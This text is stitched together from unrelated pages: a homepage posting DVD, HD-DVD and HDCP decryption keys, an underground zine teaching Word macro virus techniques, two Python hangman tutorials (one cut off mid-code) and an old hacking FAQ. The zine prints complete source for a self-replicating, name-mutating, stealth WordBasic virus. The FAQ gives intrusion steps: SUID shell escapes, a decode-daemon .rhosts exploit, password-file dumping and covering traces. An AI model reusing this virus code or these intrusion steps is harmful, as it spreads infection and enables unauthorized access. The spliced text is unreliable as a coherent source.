You can fetch my GPG public key here. I support widespread use of strong cryptography for privacy, and encourage you to use GPG encryption with this key when sending me messages. If your mailer makes this difficult, consider switching to Mutt.

As a public service and act of civil disobedience, we are proud to offer the DeCSS code that will allow you to circumvent the encryption on the DVDs you own. Your DVD, your hardware, your choice! (Please do not ask me technical questions about this code; I have never used it.)

Also, here is the decryption key used for most HD-DVD movies:

09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0

I have never used this, either, I'm publishing it here because the MPAA is attempting to suppress public knowledge of it.

Finally, the HDCP master key. These magic bits defeat the HDCP scrambling that attempt to prevent you from viewing high-definition video on the hardware of your choice. (No, I've never used this either.)

I will not tolerate having general-purpose computing hardware, which should be an instrument of liberation and creativity, reduced to a locked-down delivery pipe for "content". By trying to cripple my tools, the big-media machine has made me its enemy. DRM delenda est!

...and it's all about me.

You can read all about my projects, past present and future, including the software and FAQs and Web resources I maintain.

I do consulting under the Thyrsus Enterprises service mark. You can surf to my resume from here, if you're interested in my career or qualifications. I'm not in the market for a job just now, though, unless you can offer a project that really fascinates me.

You can read personal stuff about my life and politics and hobbies and friends. You may also find my writings of interest.

set Restriction

Add Tags ?

AddDeleteNo

close

close

web.textfiles.com/virus/cybermag.txt

Cyber-Magazine Issue 1

This magazine is dedicated to exploration of other techniques available for Microsoft Word Macro Virus propagation.

First:

It is possible to propagate macros other than with the standard MacroCopy command. It is possible to use the ToolsMacro. Edit command to create a new macro and then insert text into it directly. The text can be copied out of the creating macro using LineUp, LineDown, CharLeft, and CharRight commands with the X, 1 flag set to select the desired text. Follow this with an EditCopy command and the EditPaste in the "blank" macro and you have created a macro without using the MacroCopy command.

This functionality allows you to store all of your macros in one single macro while in "transit" (an infected document) and to "extract" the macros upon delivery to the target (NORMAL.DOT to be infected), including your stealth macros (unless, of course, your stealth macros ARE the infection vector).

(see example virus)

Second:

More Mutation: Using the above technique as a starting point, it is possible to create better mutation than just mutating macro names. It is in fact possible to create mutating variable names and mutating Sub/Function names.

To do so, it is imperative that your code knows exactly where and long the variable/routine-name to be mutated is (at least one sample of it). If you know that one location in a macro will never change, you can use that. Then, you can read in the fixed length name with the GetText$(X,X) command. Now, run your random name generator (making certain to generate a name that is THE SAME LENGTH). Finally, use the EditReplace command to swap out all of the old names for the new names. (see example virus)

You could also keep a separate "dummy" macro or routine that just stores a list of your ever mutating variable names so that you could have mutating lengths as well. That way, you could just read in the first line in the list as your current variable, mutate it, then do your global replace, then move on to the next in your list.

i.e.:

sub dummy
LKJIIEKDG < ---- first variable
LKJS
LKJSOALKJBIEWDLA
POIEWM
SIEFQZCVWT
YJFHBWPVU < -----last variable
end sub

Third:

Even More Mutation: Using a combination of the above techniques, it is possible to create mutating code segments. That is, segments of code that change locations within the body of the code.

Consider if you will: You could create a macro with several subroutines of exactly the same length. Then when it was time to mutate (say at the next document infection), just use your knowledge that your have three subroutines of exactly the same length, starting at line X below the calling routine, and jumble them around.

i.e.

sub Main
segmentA
segmentB
segmentC
end sub

sub segmentA
do some stuff
end sub

sub segmentB
do some other stuff
end sub

sub segmentC
do strange stuff
end sub

could become:

sub Main
segmentA
segmentB
segmentC
end sub

sub segmentB
do some other stuff
end sub

sub segmentC
do strange stuff
end sub

sub segmentA
do some stuff
end sub

or it could become:

sub Main
segmentA
segmentB
segmentC
end sub

sub segmentB
do some other stuff
end sub

sub segmentA
do some stuff
end sub

sub segmentC
do strange stuff
end sub

Or it could become ANY permutation in the set! Plus, the more subroutines you have to "jumble," the better the mutation becomes!

Fourth:

The future? Only you can determine what's in the future. Be creative!

-CyberPhantom

Example Virus: (Infected Document Code)

Sub MAIN
On Error Resume Next
ToolsMacro .Name = "autoopen", .Show = 1, .Delete
ToolsMacro .Name = "FileSaveAs", .Show = 1, .Delete
ToolsMacro .Name = "XXXXX", .Show = 1, .Delete
AppMinimize
ToolsMacro .Name = "autoopen", .Edit, .Show = 3
StartOfDocument
EndOfDocument 1
EditCopy
DocClose
ToolsMacro .Name = "XXXXX", .Show = 1, .Edit
StartOfDocument
EndOfDocument 1
EditPaste
DocClose 1
ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
StartOfDocument
LineDown 35
LineDown 9, 1
EditCopy
DocClose
ToolsMacro .Name = "FileSaveAs", .Edit, .Show = 1
StartOfDocument
LineDown 1
EndOfDocument 1
EditPaste
DocClose 1
mutat
Payld
stlth
AppRestore
End Sub

Sub FlSvA
Dim _fldg As FileSaveAs
GetCurValues _fldg
Dialog _fldg
If _fldg.Format = 0 Then _fldg.Format = 1
FlNm$ = FileName$()
FlMcr$ = FlNm$ + ":AutoOpen"
MacroCopy "Global:XXXXX", FlMcr$
FileSaveAs _fldg
End Sub

Function Rndnm$
For count = 1 To 5
rndnx = Int(Rnd() * (90 - 65) + 65)
rndnx$ = rndnx$ + Chr$(rndnx)
Next count
Rndnm$ = rndnx$
End Function

Sub Payld
Rndnm = Int(Rnd() * (51 - 1) + 1)
If Rndnm = 50 Then MsgBox "Greetings to: CyberDragon, CyberMonk, CyberBard, CyberSage, CyberTeck, CyberHawk, CyberBeef, CyberLich, CyberKnight. From: CyberPhantom"
End Sub

Sub mutat
ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
StartOfDocument
dnatx$ = GetText$(606, 611)'mutat
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(648, 653)'FlSvA
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(658, 663)'_fldg
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(612, 617)'Payld
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(869, 874)'Rndnm
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(880, 885)'count
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(1299, 1304)'dnatx
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
DocClose 1
End Sub

Sub stlth
ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
StartOfDocument
LineDown 123
LineDown 2, 1
EditCopy
DocClose
ToolsMacro .Name = "ToolsMacro", .Edit, .Show = 1
StartOfDocument
LineDown 1
EndOfDocument 1
EditPaste
DocClose 1

ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
StartOfDocument
LineDown 127
LineDown 2, 1
EditCopy
DocClose
ToolsMacro .Name = "FileTemplates", .Edit, .Show = 1
StartOfDocument
LineDown 1
EndOfDocument 1
EditPaste
DocClose 1
End Sub

Sub TlsMc
'No Macro
End Sub

Sub FlTpt
'No Macro
End Sub

set Restriction

Add Tags ?

AddDeleteNo

close

close

Hangman Game in Python - GeeksforGeeks

      Hangman Game in Python - GeeksforGeeks                                        set Restriction 






|

| |

×

|

| search |

|

Custom Search

|

|

Sort by:

Relevance

Relevance

Date

|

Login

Courses Hire with Us 

×

Suggest a Topic

Select a Category

Advanced Computer Subject Advanced Data Structure Algorithms Algorithms Quiz Analysis AngularJS Aptitude Arrays Articles Articles Backtracking Binary Search Tree Bit Magic Bootstrap Branch and Bound C C Programs C Quiz C# C# Programs C++ C++ Programs C++ Quiz CAT Combinatorial Competitive Programming Compiler Design Compiler Design Computer Networks Computer Networks Quiz Computer Organization & Architecture Computer Organization and Architecture Computer Subject CS – Placements CSS Data Structures Data Structures DBMS DBMS Quiz Design Pattern DI – Placements Difference Between Digital Electronics & Logic Design Divide and Conquer Dynamic Programming Engineering Mathematics Engineering Mathematics Questions English – Placements Experienced Game Theory GATE GATE CS GBlog Geek on the Top GeeksforGeeks Initiatives Geometric GFacts Go Language Graph GRE GRE Quiz Greedy Hadoop Hash Heap HTML Internship Interview Experiences ISRO Java Java Programs Java Quiz JavaScript JQuery JS++ Kotlin Linked List Linux-Unix Machine Learning Mathematical Matrix MCQ Misc Node.js Operating Systems Operating Systems Questions Pattern Searching Perl PHP PHP Programs Placements Program Output Programming Language Project Puzzles Python Python Programs Python-Quizzes QA – Placement Quizzes QA – Placements Queue Quizzes Randomized Reasoning – Placements Recursion Ruby Scala School Programming Searching Software Engineering Sorting SQL Stack Strings Technical Scripter TechTips test_cat_june Theory of Computation Theory of Computation & Automata Tree UGC-NET Web Technologies Web technologies Questions

Submit

Skip to content

MenuAlgo ▼- Analysis of Algorithms- Topicwise ►-- Searching Algorithms-- Sorting Algorithms-- Graph Algorithms-- Bit Algorithms-- Pattern Searching-- Geometric Algorithms-- Mathematical Algorithms-- Randomized Algorithms-- Game Theory- Algorithm Paradigms ►-- Greedy Algorithms-- Dynamic Programming-- Divide and Conquer-- Backtracking-- Branch & Bound- All AlgorithmsDS ▼- Array- LinkedList- Stack- Queue- Tree based DS ►-- Binary Tree-- Binary Search Tree-- Heap- Hashing- Graph- Advanced Data Structure- Matrix- Strings- All Data StructuresLanguages ▼- C- C++- Java- Python- C#- Scala- Perl- PHP- Go Language- JavaScript- jQuery- SQL- HTML- CSS- Kotlin- Program OutputInterview ▼- Company Prep- Top Topics- Practice Company Questions- Interview Experiences- Experienced Interviews- Internship Interviews- Competitive Programming- Design Patterns- Multiple Choice QuizzesStudents ▼- Campus Ambassador Program- Project- Geek of the Month- Campus Geek of the Month- Placement Course- Competitive Programming- Testimonials- Geek on the Top- Careers- Internship- School ProgrammingGATE ▼- GATE Notes- GATE CS Corner- Last Minute Notes- GATE 2020- GATE Official Papers- ISRO CS Exam- UGC NET Papers- UGC NET CS Paper II- UGC NET CS Paper IIICS Subjects ▼- Core Subjects ►-- Engg. Mathematics-- Operating Systems-- Computer Networks-- DBMS-- Compiler Design-- Theory of Computation-- Digital Electronics-- Computer Organization & Architecture-- Software Engineering-- Microprocessor- Web Technology- Advanced Topics- Machine Learning- Computer Graphics- What’s Difference?Quizzes ▼- Languages ►-- C-- C++-- Java-- Python- CS Subjectwise ►-- Data Structures-- Algorithms-- Operating Systems-- DBMS-- Compiler Design-- Computer Networks-- Theory of Computation-- Computer Organization-- Software Engineering- HTML & XML- Engg. Mathematics- AptitudeGBlogPuzzlesPractice


_perm_identity_User Actions

Hangman Game in Python

Hangman Wiki:
The origins of Hangman are obscure meaning not discovered, but it seems to have arisen in Victorian times, ” says Tony Augarde, author of The Oxford Guide to Word Games. The game is mentioned in Alice Bertha Gomme’s “Traditional Games” in 1894 under the name “Birds, Beasts and Fishes.” The rules are simple; a player writes down the first and last letters of a word and another player guesses the letters in between. In other sources, [where?] the game is called “Gallows”, “The Game of Hangin”, or “Hanger”.

Implementation

This is a simple Hangman game using Python programming language. Beginners can use this as a small project to boost their programming skills and understanding logic.

  1. The Hangman program randomly selects a secret word from a list of secret words. The random module will provide this ability, so line 1 in program imports it.
  2. The Game: Here, a random word (a fruit name) is picked up from our collection and the player gets limited chances to win the game.
  3. When a letter in that word is guessed correctly, that letter position in the word is made visible. In this way, all letters of the word are to be guessed before all the chances are over.
  4. For convenience, we have given length of word + 2 chances. For example, word to be guessed is mango, then user gets 5 + 2 = 7 chances, as mango is a five letter word.

filter_none

edit
close

play_arrow

link
brightness_4
code

|

# Python Program to illustrate 

# Hangman Game

import random

from collections import Counter

someWords = '''apple banana mango strawberry 

orange grape pineapple apricot lemon coconut watermelon

cherry papaya berry peach lychee muskmelon'''

someWords = someWords.split(``' '``)

# randomly choose a secret word from our "someWords" LIST.

word = random.choice(someWords)         

if __name__ =``= '__main__'``:

print``(``'Guess the word! HINT: word is a name of a fruit'``)

for i in word:

# For printing the empty spaces for letters of the word

print``(``'_'``, end = ' '``)        

print``()

playing = True

# list for storing the letters guessed by the player

letterGuessed = ''                

chances = len``(word) + 2

correct = 0

flag = 0

try``:

while (chances !``= 0``) and flag =``= 0``: #flag is updated when the word is correctly guessed 

print``()

chances -``= 1

try``:

guess = str``(``input``(``'Enter a letter to guess: '``))

except``:

print``(``'Enter only a letter!'``)

continue

# Validation of the guess

if not guess.isalpha():

print``(``'Enter only a LETTER'``)

continue

elif len``(guess) > 1``:

print``(``'Enter only a SINGLE letter'``)

continue

elif guess in letterGuessed:

print``(``'You have already guessed that letter'``)

continue

# If letter is guessed correctly

if guess in word:

k = word.count(guess) #k stores the number of times the guessed letter occurs in the word

for _ in range``(k):    

letterGuessed +``= guess # The guess letter is added as many times as it occurs

# Print the word

for char in word:

if char in letterGuessed and (Counter(letterGuessed) !``= Counter(word)):

print``(char, end = ' '``)

correct +``= 1

# If user has guessed all the letters

elif (Counter(letterGuessed) =``= Counter(word)): # Once the correct word is guessed fully, 

# the game ends, even if chances remain

print``(``"The word is: "``, end``=``' '``)

print``(word)

flag = 1

print``(``'Congratulations, You won!'``)

break # To break out of the for loop

break # To break out of the while loop

else``:

print``(``'_'``, end = ' '``)

# If user has used all of his chances

if chances <``= 0 and (Counter(letterGuessed) !``= Counter(word)):

print``()

print``(``'You lost! Try again..'``)

print``(``'The word was {}'``.``format``(word))

except KeyboardInterrupt:

print``()

print``(``'Bye! Try again.'``)

exit()

|

chevron_right

filter_none

Note: Please run the program on your terminal.

omkarpathak@omkarpathak-Inspiron-3542:~/Documents/
Python-Programs$ python P37_HangmanGame.py
Guess the word! HINT: word is a name of a fruit
_ _ _ _ _

Enter a letter to guess: m
_ _ m _ _
Enter a letter to guess: o
_ _ m o _
Enter a letter to guess: l
l _ m o _
Enter a letter to guess: e
l e m o _
Enter a letter to guess: n
l e m o n
Congratulations, You won!

Try it yourself Exercises:

  • You can further enhance program by adding timer after every Guess
  • You can also give hints from the beginning to make the task a bit easier for user
  • You can also decrease the chance by one only if player’s guess is WRONG. If the guess is right,
    player’s chance is not reduced

This article is contributed by Omkar Pathak. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.

My Personal Notes arrow_drop_up

Save

Recommended Posts:

Improved By : dkp1903

Article Tags :

Project

Python

python-utility

thumb_up
2

To-do Done

3.5

Based on 2 vote(s)

Feedback/ Suggest ImprovementAdd NotesImprove Article

Please write to us at [email protected] to report any issue with the above content.

Post navigation

Previous

first_page Output of Python programs | Set 9 (Dictionary)

Next

last_page fnmatch – Unix filename pattern matching in Python

Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.

Load Comments

Most popular articles

Most visited in Python

@geeksforgeeks, Some rights reserved

Add Tags ?

AddDeleteNo

close

close

×

Sign In Sign Up

account_circle

lock

Remember me Forgot Password

Sign In

email

lock

business

Sign Up

or

Google

Facebook

Why Create an Account?

By creating this account, you agree to our Privacy Policy & Cookie Policy.

Please enter your email address or userHandle.

account_circle

Back to Login

Reset Password

web.textfiles.com/hacking/newbie.txt

VI. NEWBIES READ THIS
(Basic Hacking)

WHAT MAKES A SYSTEM SECURE?
(from alt.security FAQ)
"The only system which is truly secure is one which is switched off
and unplugged, locked in a titanium lined safe, buried in a concrete
bunker, and is surrounded by nerve gas and very highly paid armed
guards. Even then I wouldn't stake my life on it."
- originally from Gene Spafford

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

WHAT WOULD BE IDEAL PROTECTION OF A SYSTEM?
Password Access- Get rid of simple passwords; routinely change all
passwords; regular review/monitoring of password
files

Physical Access- Lock up terminals, personal computers, disks when
not in use; eliminate unnecessary access lines;
disconnect modems when not in use

Other measures- Know who you are talking to; shred all documents;
avoid public domain software; report suspicious
activity (especially non-working hours access)

What this all means is that hackers must now rely on the ineptitude
and laziness of the users of the system rather than the ignorance
of SysOps. The SysOps and SecMans (Security Managers) are getting
smarter and keeping up to date. Not only that, but they are
monitoring the hack/phreak BBSes and publications. So the bottom
line is reveal nothing to overinquisitive newbies...they may be
working for the wrong side.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

WHAT IS A FIREWALL?
(from the comp.security.misc FAQ)
A (Internet) firewall is a machine which is attached (usually)
between your site and a Wide Area Network (WAN). It provides
controllable filtering of network traffic, allowing restricted
access to certain Internet port numbers and blocks access to
pretty well everything else.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

HOW TO HACK WITHOUT GETTING INTO TROUBLE AND DAMAGING COMPUTERS?
1. Don't do damage intentionally.
2. Don't alter files other than than to hide your presence or to
remove traces of your intrusion.
3. Don't leave any real name, handle, or phone number on any
system.
4. Be careful who you share info with.
5. Don't leave your phone number with anyone you don't know.
6. Do NOT hack government computers.
7. Don't use codes unless you HAVE too.
8. Be paranoid!
9. Watch what you post on boards, be as general as possible.
10. Ask questions...but do it politely and don't expect to have
everything handed to you.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

WHAT DO I DO IF I AM GETTING NOWHERE?
1. Change parity, data length, and stop bits. The system may not
respond to 8N1 (most common setting) but may respond to 7E1,8E2,
7S2, etc.
2. Change baud rates.
3. Send a series of carriage returns.
4. Send a hard break followed by a carriage return.
5. Send control characters. Work from ^a to ^z.
6. Change terminal emulation.
7. Type LOGIN, HELLO, LOG, ATTACH, CONNECT, START, RUN, BEGIN, GO,
LOGON, JOIN, HELP, or anything else you can think off.

=====================================================================
VII. Screwing with the most widespread operating system on the net
(UNIX / AIX Hacking)

WHAT ARE COMMON DEFAULT ACCOUNTS ON UNIX?
(from Belisarius)
Common default accounts are root, admin, sysadmin, unix, uucp, rje,
guest, demo, daemon, sysbin. These accounts may be unpassworded
or the password may possibly be the same (i.e. username uucp has
uucp as the passwd).

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

HOW IS THE UNIX PASSWORD FILE SETUP?
(from Belisarius)
The password file is usually called /etc/passwd
Each line of the passwd file of a UNIX system follows the following
format:

userid:password:userid#:groupid#:GECOS field:home dir:shell

What each of these fields mean/do---

userid -=> the userid name, entered at login and is what the
login searches the file for. Can be a name or a
number.

password -=> the password is written here in encrypted form.
The encryption is one way only. When a login
occurs the password entered is run through the
encryption algorithm (along with a salt) and then
contrasted to the version in the passwd file that
exists for the login name entered. If they match,
then the login is allowed. If not, the password is
declared invalid.

userid# -=> a unique number assigned to each user, used for
permissions

groupid# -=> similar to userid#, but controls the group the user
belongs to. To see the names of various groups
check /etc/group

GECOS FIELD -=> this field is where information about the user is
stored. Usually in the format full name, office
number, phone number, home phone. Also a good
source of info to try and crack a password.

home dir -=> is the directory where the user goes into
the system at (and usually should be brought
to when a cd is done)

shell -=> this is the name of the shell which is
automatically started for the login

Note that all the fields are separated by colons in the passwd file.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

WHAT DO THOSE *s, !s, AND OTHER SYMBOLS MEAN IN THE PASSWD FILE?
(from Belisarius)
Those mean that the password is shadowed in another file. You have
to find out what file, where it is and so on. Ask somebody on your
system about the specifics of the Yellow Pages system, but
discretely!

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

WHAT IS A UNIX TRIPWIRE?
(from Belisarius)
Tripwire is a tool for Unix admins to use to detect password cracker
activity, by checking for changed files, permissions, etc. Good for
looking for trojan horses like password stealing versions of
telnet/rlogin/ypcat/uucp/etc, hidden setuid files, and the like.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

USING SUID/GUID PROGS TO FULL ADVANTAGE.
(from Abort)
A SUID program is a program that when executed has the privs of the
owner.
A GUID has the privs of the group when executed.
Now imagine a few things (which happen often in reality):
1. Someone has a SUID program on their account, it happens to allow
a shell to, like @ or jump to a shell. If it does that, after you
execute said file and then spawn a shell off of it, all you do
in that shell has the privs of that owner.
2. If there is no way to get a shell, BUT they leave the file
writable, just write over it a script that spawns a shell, and you
got their privs again.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

HOW CAN I HACK INTO AN AIX MACHINE?
(from Prometheus)

If you can get access to the 'console' AIX machines have a security
hole where you can kill the X server and get a shell with
ctrl-alt-bkspce. Also by starting an xterm up from one you are not
logged in the utmp for that session because the xterms don't do utmp
logging as a default in AIX. Or try the usual UNIX tricks:
ftping /etc/passwd, tftping /etc/passwd, doing a finger and then
trying each of the usernames with that username as a password.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

HOW CAN I INCREASE MY DISK QUOTA ON UNIX?
(from Prometheus)

A UNIX disk quota may be increased by finding a directory on another
partition and using that. Find another user who wants more quota and
create a directory for the other to use, one that is world writable.
Once they've put their subdirectory in it, change the perms on the
directory to only read-execute. The reason this works is that
usually accounts are distributed across a couple of filesystems, and
admins are usually too lazy to give users the same quotas on each
filesystem. If the users are all on one filesystem, you may be able
to snag some space from one of the /usr/spool directories by creating
a 'hidden' subdirectory like .debug there, and using that.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

HOW CAN I FOOL AROUND ON XTERM / XWINDOWS?
(from Wildgoose)
Most x commands have a -display option which allows you to pick a
terminal to send to. So if you use bitmap to create a bitmap, or
download one, etc then:

xsetroot -bitmap bitmapname
[display the bitmap on your screen]

xsetroot -bitmap bitmapname -display xt2500:0
[display the bitmap on another xterm]

Other uses, try xterm -display xt??:0 will give someone else one of
your login windows to play with. They are then logged in as you
though, and can erase your filespace, etc. Beware!

Slightly irritating:
xclock -geom 1200x1200 -display xt??:0
[fills the entire screen with a clock]

Slightly more irritating:
Use a shell script with xsetroot to flash people's screens different
colors.

On the nastier side:
Use a shell script with xsetroot to kill a person's window manager.

Downright nasty:
Consult the man pages on xkill. It is possible to kill windows on
any display. So to log someone off an xterm you merely have to xkill
their login window.

Protect yourself:
If you use xhost - this will disable other people from being able
to log you out or generally access your terminal.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

HOW CAN I TAKE ADVANTAGE OF THE DECODE DAEMON?
(from Caustic)
First, you need to make sure that the decode daemon is active.
Check this by telnetting to the smtp port (usually port 25), and
expanding user Decode. If it gives you something, you can use it.
If it tells you that the user doesn't exist, or whatever, you can't.

If the daemon is active, this is how to exploit the decode daemon:

  1. uuencode an echo to .rhosts
  2. pipe that into mail, to be sent to the decode daemon
    (What happens: the decode daemon (1st) decodes the process, but
    leaves the bin priveleges resident. (2nd) the echo command is
    executed, because now the decoded message assumes the bin priveleges
    [which are *still* active, even though the daemon didn't issue the
    command]).
  3. If this is done right, you will be able to rlogin to the sysem.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

HOW CAN I GET THE PASSWORD FILE IF IT IS SHADOWED?
(from Belisarius)
If your system has Yellow Pages file managment:

ypcat /etc/passwd > whatever.filename

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

HOW IS A PASSWORD ENCRYPTED IN UNIX?
(from UNIX System Security[p.147])
Password encryption on UNIX is based on a modified version of
the DES [Data Encryption Standard]. Contrary to popular belief, the
typed password is not encrypted. Rather the password is used as the
key to encrypt a block of zero-valued bytes.
To begin the encryption, the first seven bits of each character
in the password are extracted to form the 56-bit key. This implies
that no more than eight characters are significant in a password.
Next, the E table is modified using the salt, which is the first two
characters of the encrypted password (stored in the passwd file).
The purpose of the salt is to makae it difficult to use hardware DES
chips or a precomputed list of encrypted passwords to attack the
algorithm. The DES algorithm (with the modified E table) is then
invoked for 25 iterations on the block of zeros. The output of this
encryption, which is 64 bits long, is then coerced into a
64-character alphabet (A-Z, a-z, 0-9, "." and "/"). Because this
coersion involves translations in which several different values are
represented by the same character, password encryption is essentially
one-way; the result cannot be decrypted.

set Restriction

Add Tags ?

AddDeleteNo

close

close

Hangman game in python with popular random words - CodeSpeedy

Hangman game in python with popular random words - CodeSpeedy set Restriction





CodeSpeedy

Menu

Create Hangman game in python with random popular English word


By Purnendu Das

Hi, today we are going to learn a very interesting and popular game in the Python programming language. Name of the game is Hangman game. I think at a time almost everyone played this game.

What is a Hangman game – Word Guessing Game

Hangman game is a very popular game. We can guess the game from the game name, something is related to a man who is hanging.

This game is based on your guessing power. Any random English word will be selected. Maybe month name, animal name, etc but no slang language or any bad language, any sort form is not allowed in this game. The empty slots( ‘_ _ _ _’ )  will be given to you. You need to fill up the given empty places with the help of your guessing skill. If any correct letter you guess then the letter will be placed in the correct position on the empty slot. Then you can guess the word easily. The main twist in this game is you have limited chances of guessing the correct letters. For every wrong guess, the man will slowly be going to hang.  When you reach the limit the man will completely hang and you will lose the game. If you guess all the correct letters of the word the man will not be hanged and you will win the game.

So let’s start creating hangman game in Python.

hangman game in Python

In this image, we can easily remember the game.

Create a Hangman Game in Python

This game is actually a word guessing game. So who are not familiar with the game name ( Hangman) now they can easily understand.

Here an example of the game:

Your Wrong Guesses left : 8
_ _ _ _ _ _ Please enter a letter : t

Your Wrong Guesses left : 8
T _ _ _ _ _ Please enter a letter : a

Wrong ! Try again

Your Wrong Guesses left : 7
T _ _ _ _ _ Please enter a letter : b

Wrong ! Try again

Your Wrong Guesses left : 6
T _ _ _ _ _ Please enter a letter : c

Wrong ! Try again

Your Wrong Guesses left : 5
T _ _ _ _ _ Please enter a letter : d

Wrong ! Try again

Your Wrong Guesses left : 4
T _ _ _ _ _ Please enter a letter : e

Wrong ! Try again

Your Wrong Guesses left : 3
T _ _ _ _ _ Please enter a letter : f

Wrong ! Try again

Your Wrong Guesses left : 2
T _ _ _ _ _ Please enter a letter : e

Wrong ! Try again

Your Wrong Guesses left : 1
T _ _ _ _ _ Please enter a letter : q

Wrong ! Try again

Your Maximum Wrong Guesses Is Exceed !
You Lose !

Word is : THOUGH

Let’s see the code:

Requirements:

Step by step code to create this Python game

Here we have created a list and added the words from the text file one by one so that we can generate a random word later from this list of words.

You may check this tutorial: How to add items to a list from a text file in Python

import random

my_words =[]#created an empty list
f = open("google-10000-english-usa-no-swears.txt", "rt") # Importing the word collection text file
for x in f:
word = str(x)
word = word.rstrip("\n") # Removine'\n' character from the word
if(len(word)>2): # We take the word which have more than 2 characters
my_words.append(word)
f.close()

  1. import random

  2. my_words =[]#created an empty list

  3. f = open("google-10000-english-usa-no-swears.txt", "rt") # Importing the word collection text file

  4. for x in f:

  5. word = str(x)

  6. word = word.rstrip("\n") # Removine'\n' character from the word

  7. if(len(word)>2): # We take the word which have more than 2 characters

  8. my_words.append(word)

  9. f.close()

import random

my_words =[]#created an empty list
f = open("google-10000-english-usa-no-swears.txt", "rt") # Importing the word collection text file
for x in f:
word = str(x)
word = word.rstrip("\n") # Removine'\n' character from the word
if(len(word)>2): # We take the word which have more than 2 characters
my_words.append(word)
f.close()

Explanation:

  • At first, we have imported the random library.
  • We have created an empty list (my_words ).
  • We used python file handling part for reading the text file.
  • Took the words which have more than 2 characters.

def pick(my_words): # This function will pick random one word
rand_word = random.sample(my_words,1)
rand_word = str(rand_word[0]).upper() # creating the word into uppercase
return(rand_word)

  1. def pick(my_words): # This function will pick random one word
  2. rand_word = random.sample(my_words,1)
  3. rand_word = str(rand_word[0]).upper() # creating the word into uppercase
  4. return(rand_word)

def pick(my_words): # This function will pick random one word
rand_word = random.sample(my_words,1)
rand_word = str(rand_word[0]).upper() # creating the word into uppercase
return(rand_word)

Explanation:

  • Here we have created a ‘pick’ function for taking a random word from the ‘my_words’ list.
  • This function will return the random word.

def initial(rand_word): # This function will return '_' characters according to the selected word length
sent = ''
for i in range(len(rand_word)):
sent+='_'
return(sent)

  1. def initial(rand_word): # This function will return '_' characters according to the selected word length
  2. sent = ''
  3. for i in range(len(rand_word)):
  4. sent+='_'
  5. return(sent)

def initial(rand_word): # This function will return '_' characters according to the selected word length
sent = ''
for i in range(len(rand_word)):
sent+='_'
return(sent)

Explanation:

  • Here we have created another function named ‘initial’.
  • This function will return the empty slots with ‘_’ character according to the selected random word length.

def usr_inp(get,word): # This function for taking the user input letter
for i in get:
print(i,end=' ')
inp = input('Please Enter a Letter : ')
